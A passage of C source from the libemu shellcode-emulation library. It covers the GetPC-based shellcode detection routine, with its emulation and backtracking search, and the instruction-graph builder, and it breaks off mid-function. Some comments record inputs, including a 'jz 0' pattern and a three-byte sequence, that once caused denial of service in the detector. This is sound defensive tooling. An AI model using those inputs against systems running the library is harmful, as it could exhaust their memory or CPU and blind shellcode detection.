\"../config.h\"\n\n#include \"emu/emu_shellcode.h\"\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_track.h\"\n#include \"emu/emu_source.h\"\n#include \"emu/emu_getpc.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_list.h\"\n#include \"emu/emu_queue.h\"\n\n#include \"emu/emu_log.h\"\n\n\n#define STATIC_OFFSET 0x00471000\n#define EMU_SHELLCODE_TEST_MAX_STEPS 128\n\n\nint tested_positions_cmp(struct emu_list_item *a, struct emu_list_item *b)\n{\n\tif ( ((struct emu_stats *)a->data)->cpu.steps > ((struct emu_stats *)b->data)->cpu.steps )\n\t\treturn 0;\n\telse\n\tif ( ((struct emu_stats *)a->data)->cpu.steps == ((struct emu_stats *)b->data)->cpu.steps )\n\t\tif ( ((struct emu_stats *)a->data)->eip < ((struct emu_stats *)b->data)->eip )\n\t\t\treturn 0;\n\n\treturn 1;\n}\n\n\n/**\n * This function takes the emu, the offset and tries to run \n * steps iterations. If it fails due to uninitialized \n * registers/eflags it will try to use the information passed by \n * etas to traverse the instruction tree and find an instruction\n * path in the tree which satisfies the initialization \n * requirements.\n *  \n * To avoid testing the same positions over and over, the \n * already-tested positions are held in the known_positions \n * hashtable.\n *  \n * The result is returned in the tested_positions_list.\n * \n *  \n * The function is called for every GetPC candidate in the \n * suspected shellcode, therefore the known_positions prevent \n * testing the same locations for different starting points in \n * the data too.\n *  \n * It is the vital part of libemu's shellcode detection, hard to\n * understand, hard to improve and hard to fix.\n *  \n * Messing this function up, destroys libemu's shellcode \n * detection.\n *  \n * The function is a mess, given the complexity of the loops it \n * is too long and the variable names do not provide any help.\n *  \n * The bruteforce flag is useful, as it allows bfs even if some \n * instructions initializations are not set properly, but you'll \n * definitely miss its impact on the behaviour when making a \n * guess why something does not work. \n *  \n * short explanation of the logic: \n *  \n * the first starting point is our offset \n *  \n * while we have starting points: \n *     run the shellcode: error?\n *  \t   no!\n * \t\t   continue\n *     yes!\n *     use the current starting eip as starting point to bfs \n *     look for instructions which satisfy the requirements OR\n *     brutefore\n * \t       queue these new instructions as starting points\n *  \n *  \n *  \n * History has proven the the function to be susceptible to \n * denial of service attacks, running the system out of memory \n * or cycles. \n * So, if you experience a 'problem', this is the first place to \n * look at, and the last one you want to look at, if you want to\n * cause a 'problem', same rules apply. \n *  \n * This comment was written when patching one of these dos \n * problems \n * The known_positions arg has been unused for the time before, \n * seems like there was a good idea when writing the function \n * initially, but this good idea was abandoned once 'it worked'\n *  \n * \n * \n * @param e         the emu to run\n * @param data      the data we run\n * @param datasize  the data size\n * @param eipoffset the offset for eip\n * @param steps     how many steps to try running\n * @param etas      the track and source tree - the substantial\n *                  information to run the breath first search\n * @param known_positions\n *                  already tested positions\n * @param stats_tested_positions_list\n *                  the result list\n * @param brute_force\n *                  be aggressive?\n * \n * @return \n */\nint32_t     emu_shellcode_run_and_track(struct emu *e, \n\t\t\t\t\t\t\t\t\t\tuint8_t *data, \n\t\t\t\t\t\t\t\t\t\tuint16_t datasize, \n\t\t\t\t\t\t\t\t\t\tuint16_t eipoffset,\n\t\t\t\t\t\t\t\t\t\tuint32_t steps,\n//\t\t\t\t\t\t\t\t\t\tstruct emu_env_w32 *env, \n\t\t\t\t\t\t\t\t\t\tstruct emu_track_and_source *etas,\n\t\t\t\t\t\t\t\t\t\tstruct emu_hashtable *known_positions,\n\t\t\t\t\t\t\t\t\t\tstruct emu_list_root *stats_tested_positions_list,\n\t\t\t\t\t\t\t\t\t\tbool brute_force\n\t\t\t\t\t\t\t\t\t   )\n{\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\tstruct emu_memory *mem = emu_memory_get(e);\n\n\n\tstruct emu_queue *eq = emu_queue_new();\n\temu_queue_enqueue(eq, (void *)((uintptr_t)(uint32_t)eipoffset+STATIC_OFFSET));\n\n//\tstruct emu_list_root *tested_positions = emu_list_create();\n\n\tstruct emu_env *env = NULL;\n\n\t{ // mark all vertexes white\n\n\t\tstruct emu_vertex *x;\n\t\tfor ( x= emu_vertexes_first(etas->static_instr_graph->vertexes); !emu_vertexes_attail(x); x = emu_vertexes_next(x))\n\t\t{\n\t\t\tx->color = white;\n\t\t}\n\n\t}\t\t \n\n\twhile ( !emu_queue_empty(eq) )\n\t{\n\t\t\n\t\tuint32_t current_offset = (uint32_t)(uintptr_t)emu_queue_dequeue(eq);\n\n\t\t/* init the cpu/memory \n\t\t * scooped to keep number of used varnames small \n\t\t */\n        {\n\t\t\tlogDebug(e, \"running at offset %i %08x\\n\", current_offset, current_offset);\n\n\t\t\temu_memory_clear(mem);\n\t\t\tif (env)\n\t\t\t\temu_env_free(env);\n\n\t\t\t/* write the code to the offset */\n\t\t\temu_memory_write_block(mem, STATIC_OFFSET, data, datasize);\n\t\t\t\n\t\t\tenv = emu_env_new(e);\n\n\t\t\t/* set the registers to the initial values */\n\t\t\tint reg;\n\t\t\tfor ( reg=0;reg<8;reg++ )\n\t\t\t\temu_cpu_reg32_set(cpu,reg ,0x0);\n\n\t\t\temu_cpu_reg32_set(cpu, esp, 0x00120000);\n\t\t\temu_cpu_eip_set(cpu, current_offset);\n\n\t\t\t/* set the flags */\n\t\t\temu_cpu_eflags_set(cpu,0x0);\n\n\t\t\tcpu->tracking = etas;\n\t\t}\n\n\t\temu_tracking_info_clear(&etas->track);\n\n\t\tint j;\n\t\tfor ( j=0;j<steps;j++ )\n\t\t{\n//\t\t\temu_cpu_debug_print(cpu);\n\t\t\tuint32_t eipsave;\n\t\t\teipsave = emu_cpu_eip_get(cpu);\n\n\t\t\tstruct emu_env_hook *hook = NULL;\n\n\t\t\thook = emu_env_w32_eip_check(env);\n\n\n\t\t\tif ( hook != NULL )\n\t\t\t{\n\t\t\t\tif ( hook->hook.win->fnhook == NULL )\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\t\t\t\tint32_t ret = emu_cpu_parse(emu_cpu_get(e));\n\t\t\t\tif ( ret == -1 )\n\t\t\t\t{\n\t\t\t\t\tlogDebug(e, \"error at %s\\n\", cpu->instr_string);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\t\tif ( ret == -1 )\n\t\t\t\t{\n\t\t\t\t\tlogDebug(e, \"error at %s (%s)\\n\", cpu->instr_string, strerror(emu_errno(e)));\n\t\t\t\t\tif (brute_force)\n\t\t\t\t\t{\n\t\t\t\t\t\tlogDebug(e, \"goto traversal\\n\");\n\t\t\t\t\t\tgoto traversal;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( emu_track_instruction_check(e, etas) == -1 )\n\t\t\t\t{\ntraversal:\n\t\t\t\t\tlogDebug(e, \"failed instr %s\\n\", cpu->instr_string);\n\t\t\t\t\tlogDebug(e, \"tracking at eip %08x\\n\", eipsave);\n\t\t\t\t\tif ( 0 && cpu->instr.is_fpu )\n\t\t\t\t\t{\n\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\n\t\t\t\t\t\t/* save the requirements of the failed instruction */\n//\t\t\t\t\t\tstruct emu_tracking_info *instruction_needs_ti = emu_tracking_info_new();\n//\t\t\t\t\t\temu_tracking_info_copy(&cpu->instr.cpu.track.need, instruction_needs_ti);\n\n\t\t\t\t\t\tstruct emu_queue *bfs_queue = emu_queue_new();\n\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * the current starting point is the first position used to bfs\n\t\t\t\t\t\t * scooped to avoid varname collisions \n\t\t\t\t\t\t */\n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tstruct emu_tracking_info *eti = emu_tracking_info_new();\n\t\t\t\t\t\t\temu_tracking_info_diff(&cpu->instr.track.need, &etas->track, eti);\n\t\t\t\t\t\t\teti->eip = current_offset;\n\t\t\t\t\t\t\temu_tracking_info_debug_print(eti);\n\n\t\t\t\t\t\t\tif( emu_hashtable_search(known_positions, (void *)(uintptr_t)(uint32_t)current_offset) != NULL)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlogDebug(e, \"Known %p %x\\n\", eti, eti->eip);\n\t\t\t\t\t\t\t\temu_tracking_info_free(eti);\n\t\t\t\t\t\t\t\temu_queue_free(bfs_queue);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\temu_queue_enqueue(bfs_queue, eti);\n\t\t\t\t\t\t}\n\t\t\t\t\t\twhile ( !emu_queue_empty(bfs_queue) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlogDebug(e, \"loop %s:%i\\n\", __FILE__, __LINE__);\n\n\t\t\t\t\t\t\tstruct emu_tracking_info *current_pos_ti_diff = (struct emu_tracking_info *)emu_queue_dequeue(bfs_queue);\n\t\t\t\t\t\t\tstruct emu_hashtable_item *current_pos_ht = emu_hashtable_search(etas->static_instr_table, (void *)(uintptr_t)(uint32_t)current_pos_ti_diff->eip);\n\t\t\t\t\t\t\tif (current_pos_ht == NULL)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlogDebug(e, \"current_pos_ht is NULL?\\n\");\n\t\t\t\t\t\t\t\texit(-1);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tstruct emu_vertex *current_pos_v = (struct emu_vertex *)current_pos_ht->value;\n\t\t\t\t\t\t\tstruct emu_source_and_track_instr_info *current_pos_satii = (struct emu_source_and_track_instr_info *)current_pos_v->data;\n\n\t\t\t\t\t\t\tif( emu_hashtable_search(known_positions, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip) != NULL )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlogDebug(e, \"Known Again %p %x\\n\", current_pos_satii, current_pos_satii->eip);\n\t\t\t\t\t\t\t\tcurrent_pos_v->color = red;\n\t\t\t\t\t\t\t\temu_tracking_info_free(current_pos_ti_diff);\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (current_pos_v->color == red)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlogDebug(e, \"is red %p %x: %s\\n\", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring);\n\t\t\t\t\t\t\t\temu_tracking_info_free(current_pos_ti_diff);\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlogDebug(e, \"marking red %p %x: %s \\n\", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring);\n\t\t\t\t\t\t\tcurrent_pos_v->color = red;\n\n\t\t\t\t\t\t\temu_hashtable_insert(known_positions, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip, NULL);\n\n\t\t\t\t\t\t\twhile ( !emu_tracking_info_covers(&current_pos_satii->track.init, current_pos_ti_diff) || brute_force )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlogDebug(e, \"loop %s:%i\\n\", __FILE__, __LINE__);\n\n\t\t\t\t\t\t\t\tif ( current_pos_v->backlinks == 0 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif ( current_pos_v->backlinks > 1 )\n\t\t\t\t\t\t\t\t{ /* queue all to diffs to the bfs queue */\n\t\t\t\t\t\t\t\t\tstruct emu_edge *ee;\n\t\t\t\t\t\t\t\t\tstruct emu_vertex *ev;\n\t\t\t\t\t\t\t\t\tfor ( ee = emu_edges_first(current_pos_v->backedges); !emu_edges_attail(ee); ee=emu_edges_next(ee) )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tev = ee->destination;\n\t\t\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t\t\t * ignore positions we've visited already \n\t\t\t\t\t\t\t\t\t\t * avoids dos for jz 0 \n\t\t\t\t\t\t\t\t\t\t *  \n\t\t\t\t\t\t\t\t\t\t * try the next position instead \n\t\t\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\t\t\tif( ev->color == red )\n\t\t\t\t\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\t\t\t\t\tstruct emu_source_and_track_instr_info *next_pos_satii =  (struct emu_source_and_track_instr_info *)ev->data;\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\tlogDebug(e, \"EnqueueLoop %p %x %s\\n\", next_pos_satii, next_pos_satii->eip, next_pos_satii->instrstring);\n\t\t\t\t\t\t\t\t\t\tstruct emu_tracking_info *eti = emu_tracking_info_new();\n\t\t\t\t\t\t\t\t\t\temu_tracking_info_diff(current_pos_ti_diff, &current_pos_satii->track.init, eti);\n\t\t\t\t\t\t\t\t\t\teti->eip = next_pos_satii->eip;\n\t\t\t\t\t\t\t\t\t\temu_queue_enqueue(bfs_queue, eti);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t\t * the new possible positions and requirements got queued into the bfs queue, \n\t\t\t\t\t\t\t\t\t *  we break here, so the new queued positions can try to work it out\n\t\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif ( current_pos_v->backlinks == 1 )\n\t\t\t\t\t\t\t\t{ /* follow the single link */\n\t\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t\t * ignore loops\tto self \n\t\t\t\t\t\t\t\t\t * avoids dos for \"\\xe3\\xfe\\xe8\" \n\t\t\t\t\t\t\t\t\t * breaks the upper loop \n\t\t\t\t\t\t\t\t\t *  \n\t\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\t\tif( current_pos_v == emu_edges_first(current_pos_v->backedges)->destination )\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tcurrent_pos_v = emu_edges_first(current_pos_v->backedges)->destination;\n\t\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t\t * again, ignore already visited positions \n\t\t\t\t\t\t\t\t\t * breaks the upper loop \n\t\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\t\tif( current_pos_v->color == red )\n\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\tcurrent_pos_v->color = red;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tstruct emu_source_and_track_instr_info *next_pos_satii =  (struct emu_source_and_track_instr_info *)current_pos_v->data;\n\t\t\t\t\t\t\t\t\tlogDebug(e, \"FollowSingle %p %i %x %s\\n\", next_pos_satii, current_pos_v->color, next_pos_satii->eip, next_pos_satii->instrstring);\n\t\t\t\t\t\t\t\t\tcurrent_pos_satii = (struct emu_source_and_track_instr_info *)current_pos_v->data;\n\t\t\t\t\t\t\t\t\temu_tracking_info_diff(current_pos_ti_diff, &current_pos_satii->track.init, current_pos_ti_diff);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif ( emu_tracking_info_covers(&current_pos_satii->track.init, current_pos_ti_diff) || brute_force )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t\t * we have a new starting point, this starting point may fail\n\t\t\t\t\t\t\t\t * too - if further backwards traversal is required\n\t\t\t\t\t\t\t\t * therefore we mark it white, so it can be processed again\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tlogDebug(e, \"found position which satiesfies the requirements %i %08x\\n\", current_pos_satii->eip, current_pos_satii->eip);\n\t\t\t\t\t\t\t\tcurrent_pos_ht = emu_hashtable_search(etas->static_instr_table, (void *)(uintptr_t)(uint32_t)current_pos_satii->eip);\n\t\t\t\t\t\t\t\tcurrent_pos_v = (struct emu_vertex *)current_pos_ht->value;\n\n\t\t\t\t\t\t\t\tif(current_pos_satii->eip != current_offset )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tlogDebug(e, \"marking white %p %x: %s \\n\", (uintptr_t)current_pos_v, current_pos_satii->eip, current_pos_satii->instrstring);\n\t\t\t\t\t\t\t\t\tcurrent_pos_v->color = white;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\temu_tracking_info_debug_print(&current_pos_satii->track.init);\n\t\t\t\t\t\t\t\temu_queue_enqueue(eq, (void *)((uintptr_t)(uint32_t)current_pos_satii->eip));\n\t\t\t\t\t\t\t}\n//discard:\n\t\t\t\t\t\t\temu_tracking_info_free( current_pos_ti_diff);\n\t\t\t\t\t\t}\n\t\t\t\t\t\temu_queue_free(bfs_queue);\n\t\t\t\t\t}\n\t\t\t\t\t/** \n\t\t\t\t\t * the shellcode did not run correctly as he was missing instructions initializing required registers\n\t\t\t\t\t * we did what we could do in the prev lines of code to find better offsets to start from\n\t\t\t\t\t * the working offsets got queued into the main queue, so we break here to give them a chance\n                     */\n\t\t\t\t\tbreak;\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tlogDebug(e, \"%s\\n\", cpu->instr_string);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tstruct emu_stats *es = emu_stats_new();\n\t\tes->eip = current_offset;\n\t\tes->cpu.steps = j;\n\t\tstruct emu_list_item *eli = emu_list_item_create();\n\t\teli->data = es;\n\t\tlogDebug(e, \"INSERT %i %x steps %i\\n\", current_offset, current_offset, j);\n\t\temu_list_insert_last(stats_tested_positions_list, eli);\n\t}\n\n\n\tcpu->tracking = NULL;\n\n\temu_queue_free(eq);\n\temu_env_free(env);\n\n\t/* sort all tested positions by the number of steps ascending */\n\temu_list_qsort(stats_tested_positions_list, tested_positions_cmp);\n\n\tstruct emu_list_item *eli = emu_list_first(stats_tested_positions_list);\n\tstruct emu_stats *es = (struct emu_stats *)eli->data;\n\tuint32_t best_offset = es->eip;\n\n\treturn best_offset - STATIC_OFFSET;\n}\n\nenum\n{\n\tEMU_SCTEST_SUSPECT_GETPC,\n\tEMU_SCTEST_SUSPECT_MOVFS\n} emu_shellcode_suspect;\n\n\n\nint32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size)\n{\n\tlogPF(e);\n/*\n\n\t\n\tbool found_good_candidate_after_getpc = false;\n\n\tuint32_t best_eip=0;\n*/\n\tuint32_t offset;\n\tstruct emu_list_root *el;\n\tel = emu_list_create();\n\n\n\tfor ( offset=0; offset<size ; offset++ )\n\t{\n\t\tif ( emu_getpc_check(e, (uint8_t *)data, size, offset) != 0 )\n\t\t{\n\t\t\tlogDebug(e, \"possible getpc at offset %i (%08x)\\n\", offset, offset);\n\t\t\tstruct emu_list_item *eli = emu_list_item_create();\n\t\t\teli->uint32 = offset;\n\t\t\temu_list_insert_last(el, eli);\n\t\t}\n\t}\n\n\tif ( emu_list_length(el) == 0 )\n\t{\n\t\temu_list_destroy(el);\n\t\treturn -1;\n\t}\n\n\t{\n\t\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\t\tstruct emu_memory *mem = emu_memory_get(e);\n\n\t\t/* write the code to the offset */\n\t\temu_memory_write_block(mem, STATIC_OFFSET, data, size);\n\n\t\t/* set the registers to the initial values */\n\t\tint reg;\n\t\tfor ( reg=0;reg<8;reg++ )\n\t\t\temu_cpu_reg32_set(cpu,reg ,0x0);\n\n\t\temu_cpu_reg32_set(cpu, esp, 0x00120000);\n\t\temu_cpu_eip_set(cpu, 0);\n\n\t\t/* set the flags */\n\t\temu_cpu_eflags_set(cpu,0x0);\n\t}\n\n\tstruct emu_track_and_source *etas = emu_track_and_source_new();\n\n\tlogDebug(e, \"creating static callgraph\\n\");\n\t/* create the static analysis graph \n\tset memory read only so instructions can't change it*/\n\temu_memory_mode_ro(emu_memory_get(e));\n\temu_source_instruction_graph_create(e, etas, STATIC_OFFSET, size);\n\temu_memory_mode_rw(emu_memory_get(e));\n\n\tstruct emu_hashtable *eh = emu_hashtable_new(size+4/4, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\tstruct emu_list_item *eli;\n//\tstruct emu_env_w32 *env = emu_env_w32_new(e);\n\t\n\n\tstruct emu_list_root *results = emu_list_create();\n\n\tfor ( eli = emu_list_first(el); !emu_list_attail(eli); eli = emu_list_next(eli) )\n\t{\n\t\tlogDebug(e, \"testing offset %i %08x\\n\", eli->uint32, eli->uint32);\n\t\temu_shellcode_run_and_track(e, data, size, eli->uint32, 256, etas, eh,\n\t\t\t\t\t\t\t\t\tresults, false);\n\t}\n\n\t\n\n\t/* for all positions we got, take the best, maybe take memory access into account later */\n\temu_list_qsort(results, tested_positions_cmp);\n\tif ( ((struct emu_stats *)emu_list_first(results)->data)->cpu.steps != 256 )\n\t{\n\t\temu_hashtable_free(eh);\n\t\teh = emu_hashtable_new(size+4/4, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp);\n\t\tlogDebug(e, \"brute force!\\n\");\n\t\tstruct emu_list_root *new_results = emu_list_create();\n\t\tfor ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) )\n\t\t{\n\t\t\tstruct emu_stats *es = (struct emu_stats *)eli->data;\n\t\t\tlogDebug(e, \"brute at offset 0x%08x \\n\",es->eip - STATIC_OFFSET);\n\t\t\temu_shellcode_run_and_track(e, data, size, es->eip - STATIC_OFFSET, 256, etas, eh,\n\t\t\t\t\t\t\t\t\t\tnew_results, true);\n\t\t\t\n\t\t}\n\n\t\temu_list_concat(results, new_results);\n\t\temu_list_destroy(new_results);\n\t\temu_list_qsort(results, tested_positions_cmp);\n\n\t\t/* uniq */\n\t\tfor ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) )\n\t\t{\n\t\t\tstruct emu_list_item *next = emu_list_next(eli);\n\t\t\tif (!emu_list_attail(next) &&\n            \t((struct emu_stats *)eli->data)->eip == ((struct emu_stats *)next->data)->eip )\n\t\t\t{\n\t\t\t\temu_stats_free(next->data);\n\t\t\t\temu_list_remove(next);\n\t\t\t\tfree(next);\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\n\temu_hashtable_free(eh);\n\temu_list_destroy(el);\n//\temu_env_w32_free(env);\n\temu_track_and_source_free(etas);\n\n\n\t{\n\t\tstruct emu_list_item *eli;\n\t\tfor ( eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli) )\n\t\t{\n\t\t\tstruct emu_stats *es = (struct emu_stats *)eli->data;\n\t\t\tlogDebug(e, \"b offset 0x%08x steps %i\\n\",es->eip, es->cpu.steps);\n\t\t}\n\t}\n\n\teli = emu_list_first(results);\n\tstruct emu_stats *es = (struct emu_stats *)eli->data;\n\n\tif ( es->cpu.steps > 100 )\n\t{\n\t\toffset = es->eip;\n\t}\n\telse\n\t{\n\t\toffset = -1;\n\t}\n\n\tfor (eli = emu_list_first(results); !emu_list_attail(eli); eli = emu_list_next(eli))\n\t{\n\t\temu_stats_free((struct emu_stats *)eli->data);\n\t}\n\temu_list_destroy(results);\n\n\treturn offset - STATIC_OFFSET;\n}\n\nstruct emu_stats *emu_stats_new(void)\n{\n\tstruct emu_stats *es = malloc(sizeof(struct emu_stats));\n\tmemset(es, 0, sizeof(struct emu_stats));\n\treturn es;\n}\n\nvoid emu_stats_free(struct emu_stats *es)\n{\n\tfree(es);\n}\n\n"
  },
  {
    "path": "src/emu_source.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <string.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_instruction.h\"\n#include \"emu/emu_track.h\"\n#include \"emu/emu_source.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_queue.h\"\n\nuint32_t emu_source_instruction_graph_create(struct emu *e, struct emu_track_and_source *es, uint32_t datastart, uint32_t datasize)\n{\n//\tprintf(\"tracking from %x to %x\\n\", datastart, datastart+datasize);\n\tstruct emu_cpu *c = emu_cpu_get(e);\n\n\tes->static_instr_graph = emu_graph_new();\n\tes->static_instr_table = emu_hashtable_new(datasize/2, emu_hashtable_ptr_hash,  emu_hashtable_ptr_cmp);\n\tes->static_instr_graph->vertex_destructor = emu_source_and_track_instr_info_free_void;\n\n\tuint32_t i;\n\tfor (i=datastart;i<datastart+datasize;i++)\n\t{\n\t\temu_cpu_eip_set(c, i);\n\n\t\tif ( emu_cpu_parse(c) != 0)\n\t\t{\n//\t\t\tprintf(\"parse error %s\\n\", emu_strerror(e));\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ( emu_cpu_step(c) != 0)\n\t\t{\n//\t\t\tprintf(\"step error %s\\n\", emu_strerror(e));\n//\t\t\tcontinue;\n\t\t}\n\n        struct emu_source_and_track_instr_info *etii = emu_source_and_track_instr_info_new(c,i);\n\t\tstruct emu_vertex *ev = emu_vertex_new();\n\t\tev->data = etii;\n\t\temu_hashtable_insert(es->static_instr_table, (void *)(uintptr_t)i, ev);\n\t\temu_graph_vertex_add(es->static_instr_graph, ev);\n\t}\n\n\tstruct emu_vertex *ev;\n\tfor ( ev = emu_vertexes_first(es->static_instr_graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) )\n\t{\n\t\tstruct emu_source_and_track_instr_info *etii = (struct emu_source_and_track_instr_info *)ev->data;\n\n\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(es->static_instr_table, (void *)(uintptr_t)etii->source.norm_pos);\n//\t\tprintf(\"NORM from %08x to %08x\\n\",((struct emu_source_and_track_instr_info *)ev->data)->eip, etii->source.norm_pos);\n\t\tif (ehi != NULL)\n\t\t{\n\t\t\tstruct emu_vertex *to = (struct emu_vertex *)ehi->value;\n\t\t\temu_vertex_edge_add(ev, to);\n\t\t\t\n\t\t}else\n\t\t{\n//\t\t\tprintf(\"NORM IS UNKNOWN %08x\\n\", etii->source.norm_pos);\n\t\t}\n\n\t\tif (etii->source.has_cond_pos == 1)\n\t\t{\n//\t\t\tprintf(\"COND from %08x to %08x\\n\",((struct emu_source_and_track_instr_info *)ev->data)->eip, etii->source.cond_pos);\n\t\t\tehi = emu_hashtable_search(es->static_instr_table, (void *)(uintptr_t)etii->source.cond_pos);\n\t\t\tif (ehi != NULL)\n\t\t\t{\n\t\t\t\tstruct emu_vertex *to = (struct emu_vertex *)ehi->value;\n\t\t\t\temu_vertex_edge_add(ev, to);\n\t\t\t\t\n\t\t\t}else\n\t\t\t{\n//\t\t\t\tprintf(\"COND IS UNKNOWN\\n\");\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\n\n\n\nvoid emu_source_backward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev)\n{\n\tstruct emu_vertex *it;\n\tfor ( it = emu_vertexes_first(et->static_instr_graph->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) )\n\t\tit->color = white;\n    \n\tit = ev;\n\n\tstruct emu_queue *eq = emu_queue_new();\n\n\temu_queue_enqueue(eq, ev);\n\n\twhile (emu_queue_empty(eq) == false)\n\t{\n\t\tev = (struct emu_vertex *)emu_queue_dequeue(eq);\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->backedges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tif (ee->destination->color != white)\n\t\t\t\tcontinue;\n\n\t\t\tee->destination->color = grey;\n\t\t\temu_queue_enqueue(eq, ee->destination);\n\t\t\t\n\t\t}\n\n\t\tif ( emu_edges_length(ev->backedges) == 0 )\n\t\t\tev->color = green;\n\t\telse\n\t\t\tev->color = black;\n\n\t}\n\n\temu_queue_free(eq);\n\n\tit->color = red;\n}\n\nvoid emu_source_forward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev)\n{\n\tstruct emu_vertex *it;\n\tfor ( it = emu_vertexes_first(et->static_instr_graph->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) )\n\t\tit->color = white;\n\n\tit = ev;\n\n\tstruct emu_queue *eq = emu_queue_new();\n\n\temu_queue_enqueue(eq, ev);\n\n\twhile (emu_queue_empty(eq) == false)\n\t{\n\t\tev = (struct emu_vertex *)emu_queue_dequeue(eq);\n\n\t\tstruct emu_edge *ee;\n\t\tfor ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) )\n\t\t{\n\t\t\tif (ee->destination->color != 